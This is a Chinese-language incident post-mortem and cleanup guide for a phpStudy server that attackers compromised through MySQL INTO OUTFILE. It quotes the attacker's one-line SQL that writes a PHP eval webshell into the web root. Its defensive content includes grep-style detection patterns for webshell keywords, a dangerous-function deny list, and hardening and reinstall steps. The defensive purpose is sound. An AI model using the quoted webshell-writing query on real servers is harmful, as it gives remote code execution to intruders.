服务器入侵事件复盘:从发现到修复的完全指南

欢迎来到这场惊心动魄的入侵事件复盘。无论你是运维新手、开发者,还是不小心被黑的小白站长,这篇文档都将带你一步步回顾一次真实的 MySQL 写 shell 攻击,并学会如何彻底止血、清理后门、加固系统。别再慌张,跟着我做,服务器还能救回来。
事件背景:phpStudy 集成环境(Apache 2.4.23 + MySQL 5.5.53 + PHP 5.4.45)遭遇入侵,攻击者通过 MySQL
INTO OUTFILE写入一句话木马,并持续扫描后门。Apache 频繁崩溃,日志中留下大量恶意访问记录。
攻击时间线:魔鬼藏在日志里
1. 首次入侵(2026‑05‑19 00:07:36)
MySQL 日志显示,攻击者通过 root 连接数据库,执行了经典的写 shell 操作:
sql
select '<?php @eval($_POST[x])?>' INTO OUTFILE 'C:\phpStudy\www\o.php'
- 后果 :Web 目录下生成后门文件
o.php,攻击者可使用中国菜刀、蚁剑等工具直接执行任意 PHP 代码,获取服务器控制权。
2. 持续扫描与 Apache 崩溃(2026‑05‑19 00:10 ~ 00:12)
Apache 错误日志记录到:
log
[Tue May 19 00:10:02.608377 2026] [:error] [client 175.30.110.165:62787] script 'C:/phpStudy/WWW/phpMyAdmin/view_creat.php' not found
[Tue May 19 00:11:55.558236] [mpm_winnt:crit] [pid 4028:tid 816] AH02538: Child: Parent process exited abruptly
[Tue May 19 00:12:21.807354] [mpm_winnt:crit] [pid 2776:tid 512] AH02538: Child: Parent process exited abruptly
- 现象 :攻击者频繁请求不存在的
view_creat.php(可能是自动化扫描常见后门名称)。 - 结果 :Apache 多次异常退出(
Parent process exited abruptly),导致服务不稳定。
3. 攻击 IP 溯源
| 归属信息 | 内容 |
|---|---|
| IP 地址 | 175.30.110.165 |
| 地理位置(ipip) | 中国 吉林 长春 电信 |
| 可能性质 | 国内肉鸡 / 代理 / 真实攻击者 |
注意:IP 归属地仅作参考,不可直接锁定真实身份。攻击者可使用跳板或代理。
影响评估:服务器已处于"裸奔"状态
- 后门确认 :
C:\phpStudy\www\o.php存在且可被远程访问。 - 权限泄露:MySQL root 密码可能已被窃取(弱密码或空密码)。
- 配置缺陷 :
secure-file-priv未配置,导致任意目录可写。 - 版本过旧:MySQL 5.5.53、Apache 2.4.23、PHP 5.4.45 均停止安全更新,漏洞众多。
- 持久化风险:攻击者可能已植入其他后门、计划任务或系统用户。
修复步骤:分秒必争,手把手教你清理
第一步:切断网络与进程(立即执行)
- 停止 Apache 和 MySQL 服务(你已经做了)
- 拔掉网线或在防火墙禁用外网访问(如云服务器安全组全部拒绝)
- 结束所有残留的 httpd.exe 和 mysqld.exe 进程
cmd
taskkill /F /IM httpd.exe
taskkill /F /IM mysqld.exe
第二步:删除已知木马 + 全盘扫描
- 删除
C:\phpStudy\www\o.php - 删除整个
C:\phpStudy\WWW\phpMyAdmin目录(如果不需要远程管理) - 使用 D 盾 或 河马查杀 扫描整个
WWW目录,清除所有 webshell
手动查找可疑文件命令 (在 WWW 目录下执行):
cmd
findstr /s /i /m "eval.*$_POST" *.php
findstr /s /i /m "base64_decode" *.php
第三步:修复 MySQL 配置,禁止再次写 shell
编辑 C:\phpStudy\MySQL\my.ini,在 [mysqld] 下添加:
ini
secure-file-priv = NULL
然后修改 root 密码(启动 MySQL 后执行):
sql
ALTER USER 'root'@'localhost' IDENTIFIED BY '你的新强密码@2026';
删除多余用户:
sql
DELETE FROM mysql.user WHERE User='';
FLUSH PRIVILEGES;
第四步:修复 Apache 频繁崩溃
-
删除残留的 pid 文件:
C:\phpStudy\Apache\logs\httpd.pid -
测试配置语法:
cmdcd C:\phpStudy\Apache\bin httpd -t -
检查
httpd.conf中是否有恶意 LoadModule 或 DocumentRoot 被篡改。 -
临时封禁攻击 IP(在
httpd.conf中加入):apache<RequireAll> Require all granted Require not ip 175.30.110.165 </RequireAll>
第五步:检查系统级后门
| 检查项 | 操作 |
|---|---|
| 计划任务 | taskschd.msc 中查找名称含 update、system 等可疑任务 |
| 启动项 | msconfig → 启动 → 任务管理器,检查不明程序 |
| 用户账户 | lusrmgr.msc 看是否新增未知管理员 |
| 服务 | services.msc 检查非标准服务 |
第六步:终极方案 -- 重装环境(强烈推荐)
由于你的环境版本过低且已被深度渗透,手动清理无法保证 100% 干净。请按以下步骤彻底重置:
- 备份你自己的网站源码(不要打包 phpStudy 自带文件)
- 导出数据库 (用
mysqldump或 phpMyAdmin 导出 SQL) - 卸载 phpStudy,删除整个
C:\phpStudy目录 - 安装新版 PHP 集成环境 :推荐 小皮面板 (Xp.cn) 或 phpStudy 最新版(PHP 7.4+ / MySQL 5.7+)
- 导入源码和数据库,修改配置文件中的数据库密码
- 应用安全加固 :
- 设置
secure-file-priv = NULL - 禁用危险函数:
disable_functions = exec,system,passthru,shell_exec,eval - 修改 phpMyAdmin 路径为复杂目录名,并设置强密码
- 设置
加固建议:让服务器从此百毒不侵
1. MySQL 安全基线
ini
secure-file-priv = NULL # 禁止任意文件写入
max_allowed_packet = 16M
skip-grant-tables = OFF # 绝对不能开启
2. PHP 安全配置
ini
disable_functions = exec,system,passthru,shell_exec,proc_open,curl_exec,eval
open_basedir = "C:/phpStudy/WWW/;C:/tmp/" # 限制 PHP 访问目录
expose_php = Off
allow_url_include = Off
3. Apache 安全加固
-
隐藏版本号:
ServerTokens Prod、ServerSignature Off -
禁用目录列表:
Options -Indexes -
限制上传目录的 PHP 执行权限:
apache<Directory "C:/phpStudy/WWW/uploads"> php_flag engine off </Directory>
4. 日常监控
- 定期检查日志中可疑的
INTO OUTFILE、eval(关键词。 - 使用文件完整性监控工具(如 Tripwire)。
- 设置阿里云/腾讯云安全组,只开放必要端口(80,443,3306 只允许内网)。
总结:别哭,站起来继续战斗
入侵不可怕,可怕的是不知道入侵后该做什么。 通过这次事件,你已经学会了:
- 如何解读 MySQL 和 Apache 日志中的攻击痕迹。
- 如何找到并删除一句话木马。
- 如何加固 MySQL 禁止写 shell。
- 如何排查系统级后门并重装干净环境。
最后赠送一句忠告:永远不要在生产环境使用 phpStudy 2016 或更早的版本。它们就像没有锁的保险柜,谁都能打开。现在就升级到受支持的环境,并定期备份!